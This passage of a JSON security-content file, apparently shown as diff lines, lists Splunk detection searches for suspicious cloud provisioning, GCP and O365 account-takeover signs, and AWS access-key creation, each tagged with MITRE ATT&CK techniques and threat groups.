latest(_time) as lastTime from datamodel=Change where (All_Changes.action=started OR All_Changes.action=created) All_Changes.status=success by All_Changes.src, All_Changes.user, All_Changes.object, All_Changes.command | `drop_dm_object_name(\"All_Changes\")` | iplocation src | where isnotnull(City) | lookup previously_seen_cloud_provisioning_activity_sources City as City OUTPUT firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenCity=min(firstTimeSeen) | where isnull(firstTimeSeenCity) OR firstTimeSeenCity > relative_time(now(), `previously_unseen_cloud_provisioning_activity_window`) | `security_content_ctime(firstTime)` | table firstTime, src, City, user, object, command | `cloud_provisioning_activity_from_previously_unseen_city_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud Provisioning Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "object", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is starting or creating an instance $object$ for the first time in City $City$ from IP address $src$", - "risk_score": 18, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Cloud Provisioning Activity From Previously Unseen Country", - "description": "The following analytic detects cloud provisioning activities originating from previously unseen countries. It leverages cloud infrastructure logs and compares the geographic location of the source IP address against a baseline of known locations. This activity is significant as it may indicate unauthorized access or potential compromise of cloud resources. If confirmed malicious, an attacker could gain control over cloud assets, leading to data breaches, service disruptions, or further infiltration into the network.", - "search": "| tstats earliest(_time) as firstTime, latest(_time) as lastTime from datamodel=Change where (All_Changes.action=started OR All_Changes.action=created) All_Changes.status=success by All_Changes.src, All_Changes.user, All_Changes.object, All_Changes.command | `drop_dm_object_name(\"All_Changes\")` | iplocation src | where isnotnull(Country) | lookup previously_seen_cloud_provisioning_activity_sources Country as Country OUTPUT firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenCountry=min(firstTimeSeen) | where isnull(firstTimeSeenCountry) OR firstTimeSeenCountry > relative_time(now(), \"-24h@h\") | `security_content_ctime(firstTime)` | table firstTime, src, Country, user, object, command | `cloud_provisioning_activity_from_previously_unseen_country_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud Provisioning Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "object", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is starting or creating an instance $object$ for the first time in Country $Country$ from IP address $src$", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Cloud Provisioning Activity From Previously Unseen IP Address", - "description": "The following analytic detects cloud provisioning activities originating from previously unseen IP addresses. It leverages cloud infrastructure logs to identify events where resources are created or started, and cross-references these with a baseline of known IP addresses. This activity is significant as it may indicate unauthorized access or potential misuse of cloud resources. If confirmed malicious, an attacker could gain unauthorized control over cloud resources, leading to data breaches, service disruptions, or increased operational costs.", - "search": "| tstats earliest(_time) as firstTime, latest(_time) as lastTime, values(All_Changes.object_id) as object_id from datamodel=Change where (All_Changes.action=started OR All_Changes.action=created) All_Changes.status=success by All_Changes.src, All_Changes.user, All_Changes.command | `drop_dm_object_name(\"All_Changes\")` | lookup previously_seen_cloud_provisioning_activity_sources src as src OUTPUT firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenSrc=min(firstTimeSeen) | where isnull(firstTimeSeenSrc) OR firstTimeSeenSrc > relative_time(now(), `previously_unseen_cloud_provisioning_activity_window`) | `security_content_ctime(firstTime)` | table firstTime, src, user, object_id, command | `cloud_provisioning_activity_from_previously_unseen_ip_address_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud Provisioning Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "object_id", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is starting or creating an instance $object_id$ for the first time from IP address $src$", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Cloud Provisioning Activity From Previously Unseen Region", - "description": "The following analytic detects cloud provisioning activities originating from previously unseen regions. It leverages cloud infrastructure logs to identify events where resources are started or created, and cross-references these with a baseline of known regions. This activity is significant as it may indicate unauthorized access or misuse of cloud resources from unfamiliar locations. If confirmed malicious, this could lead to unauthorized resource creation, potential data exfiltration, or further compromise of cloud infrastructure.", - "search": "| tstats earliest(_time) as firstTime, latest(_time) as lastTime from datamodel=Change where (All_Changes.action=started OR All_Changes.action=created) All_Changes.status=success by All_Changes.src, All_Changes.user, All_Changes.object, All_Changes.command | `drop_dm_object_name(\"All_Changes\")` | iplocation src | where isnotnull(Region) | lookup previously_seen_cloud_provisioning_activity_sources Region as Region OUTPUT firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenRegion=min(firstTimeSeen) | where isnull(firstTimeSeenRegion) OR firstTimeSeenRegion > relative_time(now(), `previously_unseen_cloud_provisioning_activity_window`) | `security_content_ctime(firstTime)` | table firstTime, src, Region, user, object, command | `cloud_provisioning_activity_from_previously_unseen_region_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud Provisioning Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "object", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is starting or creating an instance $object$ for the first time in region $Region$ from IP address $src$", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GCP Authentication Failed During MFA Challenge", - "description": "The following analytic detects failed authentication attempts during the Multi-Factor Authentication (MFA) challenge on a Google Cloud Platform (GCP) tenant. It uses Google Workspace login failure events to identify instances where MFA methods were challenged but not successfully completed. This activity is significant as it may indicate an adversary attempting to access an account with compromised credentials despite MFA protection. If confirmed malicious, this could lead to unauthorized access attempts, potentially compromising sensitive data and resources within the GCP environment.", - "search": " `gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, login_challenge_method | `gcp_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "GCP Detect gcploit framework", - "description": "The following analytic identifies the use of the GCPloit exploitation framework within Google Cloud Platform (GCP). It detects specific GCP Pub/Sub messages with a function timeout of 539 seconds, which is indicative of GCPloit activity. This detection is significant as GCPloit can be used to escalate privileges and facilitate lateral movement from compromised high-privilege accounts. If confirmed malicious, this activity could allow attackers to gain unauthorized access, escalate their privileges, and move laterally within the GCP environment, potentially compromising sensitive data and critical resources.", - "search": "`google_gcp_pubsub_message` data.protoPayload.request.function.timeout=539s | table src src_user data.resource.labels.project_id data.protoPayload.request.function.serviceAccountEmail data.protoPayload.authorizationInfo{}.permission data.protoPayload.request.location http_user_agent | `gcp_detect_gcploit_framework_filter`", - "tags": { - "analytic_story": [ - "GCP Cross Account Activity" - ], - "asset_type": "GCP Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GCP Multiple Failed MFA Requests For User", - "description": "The following analytic detects multiple failed multi-factor authentication (MFA) requests for a single user within a Google Cloud Platform (GCP) tenant. It triggers when 10 or more MFA prompts fail within a 5-minute window, using Google Workspace login failure events. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise accounts and potentially escalate privileges within the GCP environment.", - "search": "`gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | bucket span=5m _time | stats dc(_raw) AS mfa_prompts values(user) AS user by src_ip, login_challenge_method, _time | where mfa_prompts >= 10 | `gcp_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple Failed MFA requests for user $user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "GCP Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful single-factor authentication event against Google Cloud Platform (GCP) for an account without Multi-Factor Authentication (MFA) enabled. It uses Google Workspace login event data to detect instances where MFA is not utilized. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to GCP resources, potentially leading to data breaches, service disruptions, or further exploitation within the cloud environment.", - "search": "`gws_reports_login` event.name=login_success NOT `gws_login_mfa_methods` | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, login_challenge_method, app, event.name, vendor_account, action |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `gcp_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ without MFA", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "O365 Multiple AppIDs and UserAgents Authentication Spike", - "description": "The following analytic identifies unusual authentication activity in an O365 environment, where a single user account experiences more than 8 authentication attempts using 3 or more unique application IDs and over 5 unique user agents within a short timeframe. It leverages O365 audit logs, focusing on authentication events and applying statistical thresholds. This behavior is significant as it may indicate an adversary probing for multi-factor authentication weaknesses. If confirmed malicious, it suggests a compromised account, potentially leading to unauthorized access, privilege escalation, and data exfiltration. Early detection is crucial to prevent further exploitation.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory (Operation=UserLoggedIn OR Operation=UserLoginFailed) | bucket span=5m _time | stats dc(_raw) as failed_attempts dc(ApplicationId) as unique_app_ids dc(UserAgent) as unique_user_agents values(ApplicationId) values(OS) by _time user src_ip | where failed_attempts > 5 and unique_user_agents > 5 and unique_app_ids > 2 | `o365_multiple_appids_and_useragents_authentication_spike_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "$user$ authenticated in a short period of time with more than 5 different user agents across 3 or more unique application ids.", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "O365 Security And Compliance Alert Triggered", - "description": "The following analytic identifies alerts triggered by the Office 365 Security and Compliance Center, indicating potential threats or policy violations. It leverages data from the `o365_management_activity` dataset, focusing on events where the workload is SecurityComplianceCenter and the operation is AlertTriggered. This activity is significant as it highlights security and compliance issues within the O365 environment, which are crucial for maintaining organizational security. If confirmed malicious, these alerts could indicate attempts to breach security policies, leading to unauthorized access, data exfiltration, or other malicious activities.", - "search": " `o365_management_activity` Workload=SecurityComplianceCenter Category=ThreatManagement Operation=AlertTriggered | spath input=Data path=f3u output=user | spath input=Data path=op output=operation | spath input=_raw path=wl | spath input=Data path=rid output=rule_id | spath input=Data path=ad output=alert_description | spath input=Data path=lon output=operation_name | spath input=Data path=an output=alert_name | spath input=Data path=sev output=severity | stats count earliest(_time) as firstTime latest(_time) as lastTime by user, Name, operation, rule_id, alert_description, alert_name, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_security_and_compliance_alert_triggered_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Security and Compliance triggered an alert for $user$", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "ASL AWS CreateAccessKey", - "description": "This detection rule monitors for the creation of AWS Identity and Access Management (IAM) access keys. An IAM access key consists of an access key ID and secret access key, which are used to sign programmatic requests to AWS services. While IAM access keys can be legitimately used by developers and administrators for API access, their creation can also be indicative of malicious activity. Attackers who have gained unauthorized access to an AWS environment might create access keys as a means to establish persistence or to exfiltrate data through the APIs. Moreover, because access keys can be used to authenticate with AWS services without the need for further interaction, they can be particularly appealing for bad actors looking to operate under the radar. Consequently, it's important to vigilantly monitor and scrutinize access key creation events, especially if they are associated with unusual activity or are created by users who don't typically perform these actions. This hunting query identifies when a potentially compromised user creates a IAM access key for another user who may have higher privilleges, which can be a sign for privilege escalation. Hunting queries are designed to be executed manual during threat hunting.", - "search": "`amazon_security_lake` api.operation=CreateAccessKey http_request.user_agent!=console.amazonaws.com api.response.error=null | rename unmapped{}.key as unmapped_key , unmapped{}.value as unmapped_value | eval keyjoin=mvzip(unmapped_key,unmapped_value) | mvexpand keyjoin | rex field=keyjoin \"^(?[^,]+),(?.*)$\" | eval {key} = value | search responseElements.accessKey.userName = * | rename identity.user.name as identity_user_name, responseElements.accessKey.userName as responseElements_accessKey_userName | eval match=if(identity_user_name=responseElements_accessKey_userName,1,0) | search match=0 | rename identity_user_name as identity.user.name , responseElements_accessKey_userName as responseElements.accessKey.userName | stats count min(_time) as firstTime max(_time) as lastTime by responseElements.accessKey.userName api.operation api.service.name identity.user.account_uid identity.user.credential_uid identity.user.name identity.user.type identity.user.uid identity.user.uuid http_request.user_agent src_endpoint.ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |`asl_aws_createaccesskey_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_endpoint.ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "identity.user.name", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $responseElements.accessKey.userName$ is attempting to create access keys for $responseElements.accessKey.userName$ from this IP $src_endpoint.ip$", - "risk_score": 63, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GCP Detect accounts with high risk roles by project", - "description": "This search provides detection of accounts with high risk roles by projects. Compromised accounts with high risk roles can move laterally or even scalate privileges at different projects depending on organization schema.", - "search": "`google_gcp_pubsub_message` data.protoPayload.request.policy.bindings{}.role=roles/owner OR roles/editor OR roles/iam.serviceAccountUser OR roles/iam.serviceAccountAdmin OR roles/iam.serviceAccountTokenCreator OR roles/dataflow.developer OR roles/dataflow.admin OR roles/composer.admin OR roles/dataproc.admin OR roles/dataproc.editor | table data.resource.type data.protoPayload.authenticationInfo.principalEmail data.protoPayload.authorizationInfo{}.permission data.protoPayload.authorizationInfo{}.resource data.protoPayload.response.bindings{}.role data.protoPayload.response.bindings{}.members{} | `gcp_detect_accounts_with_high_risk_roles_by_project_filter`", - "tags": { - "analytic_story": [ - "GCP Cross Account Activity" - ], - "asset_type": "GCP Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - 